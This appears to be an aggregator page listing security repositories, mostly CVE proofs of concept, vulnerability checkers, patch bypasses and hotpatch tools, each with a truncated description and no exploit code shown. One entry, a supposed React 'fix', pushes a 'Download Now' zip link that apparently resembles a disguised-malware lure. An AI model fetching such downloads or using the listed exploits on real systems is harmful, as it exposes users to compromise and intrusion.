nodriver

NODRIVER nodriver provides next level async webscraping and browser automation library for python with an easy interface which Just Makes Sense ™ This is the official successor of the Undetected-Chromedriver python package. No more webdriver, no more selenium for docs click here Direct...

CVE-2018-3245

Weblogic-CVE-2018-3245 CVE-2018-3245 0x00 Introduction On October 16 local time, and in the early hours of October 17 Beijing time, Oracle officially released the October Q3 Critical Patch Update CPU, which fixed a Weblogic remote code execution vulnerability CVE-2018-2893 that was not fully...

PrintNightmare

PrintNightmare Check if your post-Patch machine is still vulnerable Guidance on how to implement a non-malicious, 'defanged' version of the exploit. Research piece that dissects captured network traffic of the PrintNightmare exploit Analysis of a PCAP that contains malicious traffic from...

CVE-2021-21985

CVE202121985 Description This script check the CVE-2021-21985 vulnerability and patch on vCenter Server. Requirements Python3 Python3 Standard Library Installation root@kitploit: git clone https://github.com/mauricelambert/CVE202121985.git ./ Example To check IP 10.0.0.2, 10.0.0.3 and hostname...

CVE-2024-4577

PHP-CGI Windows Platform Remote Code Execution Vulnerability CVE-2024-4577 Introduction PHP is an acronym for Hypertext Preprocessor. It is now a widely used open-source scripting language that is particularly suitable for web development and embedding in HTML, and is very simple to use. CGI, whi...

VAXD

VAXD VAXD is a lightweight Windows disassembler, PE inspection tool, MultiCPU binary inspection tool, and patch-assistance environment. It is designed for fast analysis of executable files, firmware images, binaries, Office documents, PDF files, and Windows PE EXE/DLL files. VAXD provides a...

trellix-tarslip-patch-bypass

trellix-tarslip-patch-bypass In 2023, Trellix announced 1 that they patched +61,000 open-source projects for CVE-2007-4559, an old path traversal vulnerability. Analyzing their patch, it's easy to notice that it can be bypassed using a symlink. Symlink path traversal is an old technique, and it h...

CVE-2021-42321

CVE-2021-42321 Microsoft Exchange Server Poc The patch:https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-42321...

CVE-2014-3570_G2.5_openssl_no_patch

This repository does not have a README...

struts1-patch

struts1-patch Detailed description and usage, see: http://security.tencent.com/index.php/blog/msg/50 struts1 CVE-2014-0114 classLoader manipulation vulnerability patch struts.jar...

bcm4360-wpa3

WPA3-SAE + 802.11w on the Broadcom BCM4360 closed wl blob Apple/Broadcom never gave the BCM4360 14e4:43a0 WPA3. Its only Linux driver is the closed broadcom-sta wl blob; brcmfmac can't drive it. This adds WPA3-SAE + full 802.11w PMF to that closed blob — entirely from host software, no firmware...

CVE-2017-11882-

CVE-2017-11882 43b original script from https://github.com/embedi/CVE-2017-11882 109b original script from https://github.com/unamer/CVE-2017-11882/ Kudos, now unamer's code can execute shellcode CVE-2017-11882: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/ MITRE...

CVE-2025-50154

CVE-2025-50154, CVE-2025-59214 Windows File Explorer Zero Click NTLMv2-SSP Hash Disclosure By Ruben Enkaoua and Cymulate First Blog: Zero Click, One NTLM: Microsoft Security Patch Bypass CVE-2025-50154 Second Blog: Patched Twice, Still Bypassed: New NTLM Leak CVE-2025-50154 Patch Bypass Descripti...

fix-react2shell-next

🚀 fix-react2shell-next - Fix Vulnerabilities in Your https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip App 📥 Download Now 📝 Overview fix-react2shell-next helps you address a critical security issue in your...

meltdown-aws-scanner

meltdown-aws-scanner Naive shell script to verify Meltdown CVE-2017-5754 patch status of EC2 instances Requirements aws cli with working configuration Using the script Scan all EC2 instances in default account and region root@kitploit: $ ./checkmeltdown.sh | tee $date '+%Y-%m-%d'.csv Scan a subse...

hotpatch-for-apache-log4j2

Log4jHotPatch This is a tool which injects a Java agent into a running JVM process. The agent will attempt to patch the lookup method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string "Patched JndiLookup::lookup". It is designed to addres...

CVE-2016-1734

The patch is not in AppleUSBNetworking.kext like the security advisory suggested https://support.apple.com/en-ca/HT206166. root@kitploit: /CVE-2016-1734 md5sum ./10.11.1/AppleUSBNetworking.kext/Contents/MacOS/AppleUSBNetworking.c ./10.11.5/AppleUSBNetworking.kext/Contents/MacOS/AppleUSBNetworking...

drift-corpus

The Drift Corpus: Ring 0 Drift Corpus is the definitive, open-source repository of Windows Kernel patch diffs. These artifacts are produced using Drift Agent , ByteRay's automatic reverse engineering engine and part of the Argus-Systems platform. With Drift, we have successfully mapped, analyzed,...

dinkleberry

Dinkleberry 🫐 Are you one of the 92,000+ people1 stuck with a D-Link NAS vulnerable to CVE-2024-3272, and no patch in sight? This tool uses the exploit itself to patch a vulnerable device. 1: See original disclosure in refs What it does Dinkleberry will execute a command to swap out the vulnerabl...

cve-2011-4862

cve-2011-4862 I originally tried to use diff to make a patch. I patched it the way I thought it would be, before looking at the real patch. encrypt.patch is this original patch that I made with teh diff. However, when we tried applying this patch to freeBSD, it would not accept it. Instead, we ha...